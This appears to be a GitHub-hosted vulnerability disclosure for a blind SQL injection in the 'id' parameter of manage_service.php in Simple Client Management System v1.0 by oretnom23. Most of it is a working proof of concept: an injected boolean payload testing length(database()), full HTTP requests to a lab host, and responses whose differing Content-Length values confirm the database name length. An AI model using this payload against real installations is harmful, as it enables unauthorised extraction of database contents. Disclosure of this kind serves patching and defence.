

main

...

bug\_report / vendors / oretnom23 / simple-client-management-system / SQLi-9.md



debug601 Update SQLi-9.md

History

1 contributor

38 lines (25 sloc) | 1.49 KB

...

# Simple-Client-Management-System v1.0 by oretnom23 has SQL injection

Author: k0xx

vendors: <https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html>

Vulnerability File: /cms/admin/maintenance/manage\_service.php?id=

Vulnerability location: /cms/admin/maintenance/manage\_service.php?id=,id

[+] Payload: /cms/admin/maintenance/manage\_service.php?id=1%27%20and%20length(database())%20=6%20--+ // Leak place ---> id

Current database name: cms\_db,length is 6

```
GET /cms/admin/maintenance/manage_service.php?id=1%27%20and%20length(database())%20=6%20--+&Host=192.168.1.19&User-Agent=Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0&Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&Accept-Language=zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3&Accept-Encoding=gzip, deflate&DNT: 1
```

Cookie: PHPSESSID=3m011n81dvm1o0a3h9oo72q1gp

Connection: close

// Leak place ---> id

When length (database ()) = 6, Content-Length: 2397

```
GET /cms/admin/maintenance/manage_service.php?id=1%27%20and%20length(database())%20=6%20--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=3m011n81dvm1o0a3h9oo72q1gp
Connection: close

HTTP/1.1 200 OK
Date: Sat, 23 Apr 2022 06:50:49 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 2397
Connection: close
Content-Type: text/html; charset=UTF-8

<style>
img#cimg{
    height: 15vh;
```

Load URL 192.168.1.19/cms/admin/maintenance/manage\_service.php?id=1' and length(database()) =6 --+

Split URL

Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64

Name

Description

Price

Status


When length (database ()) = 7, Content-Length: 2355


```
GET /cms/admin/maintenance/manage_service.php?id=1%27%20and%20length(database())%20=7%20--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=3m011n81dvm1o0a3h9oo72q1gp
Connection: close


HTTP/1.1 200 OK
Date: Sat, 23 Apr 2022 06:52:51 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 2355
Connection: close
Content-Type: text/html; charset=UTF-8





<style>
img#cimg{
    height: 15vh;
```

INT SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML E

 Load URL

 Split URL

 Execute

☐ Post data ☐ Referrer  0xHEX  %URL  BASE64  Insert string to request

Name

Description

Price

Status Active 